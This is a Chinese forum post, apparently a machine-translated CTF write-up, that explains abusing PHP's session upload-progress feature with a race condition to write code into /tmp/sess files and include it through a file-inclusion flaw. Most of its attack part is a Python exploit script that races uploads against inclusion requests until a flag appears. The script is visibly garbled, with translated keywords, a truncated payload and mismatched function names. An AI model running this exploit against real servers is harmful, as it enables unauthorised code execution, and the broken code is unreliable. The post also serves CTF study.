请选择 进入手机版 | 继续访问电脑版

石家庄老站长

点击联系客服
客服QQ: 客服微信:
 找回密码
 立即注册
查看: 7|回复: 0

浅谈PHP_SESSION_UPLOAD_PROGRESS与条件竞争的巧妙利用

[复制链接]

1

主题

1

帖子

-7

积分

限制会员

积分
-7
发表于 2021-7-22 23:23:22 | 显示全部楼层 |阅读模式
不久前,CISCN出版了网络文档,包括标题,即使很简单,鹅也失败了。

PHP_SESSION_UPLOAD_PROGRESS

提供了检测Php5.4.0后上传进度的功能。此功能在文件上载时发送post请求以检查状态,对文件上载本身没有影响,但您可以使用此功能执行一些任务。





在Post请求中插入特洛伊木马,让服务器生成/tmp/sess/文件,我们就可以使用了

session  . upload  _ progress  . enabled=on

保存会话的路径

可以定义我们自己的会话id

但是还有另一个困难。session  . upload  _ progress  . clean  up经常处于打开状态。阅读post信息后整理进度,但也可以利用条件竞争解决

赠送大佬剧本

Import  io

Import  sys

Import  requests

Import  threading

Sessid='Qftm  '

Defpost(会话):

While  True:

F=io。BytesIO(b'a' * 1024 * 50)

请访问Session.post(

http://XXXXXXX  ',
data={"PHP_SESSION_UPLOAD_PROGRESS":"');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        response = session.get(f'http://XXXXXXX?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|无图版|手机版|小黑屋|石家庄@IT精英团

GMT+8, 2021-8-5 13:38 , Processed in 0.171600 second(s), 27 queries .

Powered by Discuz! X3.4

© 2001-2021 Comsenz Inc.

快速回复 返回顶部 返回列表